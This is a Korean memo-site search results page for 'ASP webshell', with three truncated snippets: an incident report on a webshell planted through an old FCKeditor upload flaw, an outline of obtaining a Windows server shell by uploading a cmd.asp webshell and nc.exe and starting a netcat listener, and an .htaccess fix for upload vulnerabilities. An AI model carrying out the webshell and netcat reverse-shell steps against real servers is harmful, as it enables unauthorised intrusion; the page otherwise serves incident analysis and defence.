지식메모 검색 - ASP 웹쉘

	유머사진	환영합니다, 손님! 메모지 \| 회원가입 \| 로그인
		메모지 검색

재미 • 메모智.COM 설치

• 메모智 홈 • 바깥고리 • 전체 메모智 목록 • 회원가입 • 로그인 • 도움말 •

메모智 검색 - ASP 웹쉘

#ASP 웹쉘 • #fckeditor • #자동화공격 • #해킹

FCKeditor는 아직도 중국발 자동화공격의 대상

홈페이지 취약점 점검중에 웹쉘 파일이 발견되었다. 10월27일에 두줄짜리 asp 파일이 올라왔다. 로그 확인 결과... 중국 산서성 IP에서 2008,2009년 경에 발견된 fckeditor 취약점 악용. 공격순서 1. Fckeditor 존재여부 확인 2. 이미지파일 업로드...

| 공개 | 댓글: 1 | 첨부파일: 1 | 등록자: jinsuk | 등록일: |

	윈도우 서버 쉘 따기: reverse telnet
	1. 파일업로드 기능이 있는 웹쉘 업로드 (예를 들어 cmd.asp) 2. nc.exe 업로드 3. cmd.asp를 통해 nc.exe 경로확인 (dir /w /s \nc.exe) - C:\InetPub\wwwroot\board\pds\nc.exe 4. 공격자: nc.exe -l ...
	\| 공개 \| 댓글: 0 \| 첨부파일: 0 \| 등록자: jinsuk \| 등록일: \|

	파일업로드 취약점 방지 방법 1: 응급 대책 - .htaccess로 스크립트 실행제한
	...이미 파일업로드 취약점이 있어서 웹쉘이 실행되는 경우에는 업로드 디렉토리에서의 악성스크립트 실행을 방지한다. 1) .htaccess 파일 업로드가 불가능하도록 서버측의 파일 업로드 스크립트를 급히 수정한다. 2) 업로드 디렉토리에 다음과 같은 내용을 가진 .htaccess 파
	\| 공개 \| 댓글: 0 \| 첨부파일: 0 \| 등록자: jinsuk \| 등록일: \|

# • #.htaccess • #ASP 웹쉘 • #fckeditor • #보안 • #업로드취약점 • #윈도우 • #자동화공격 • #해킹 •

메모智 열람: 1 / 1 (총 3 건)

Site Stat


	검색

Custom Search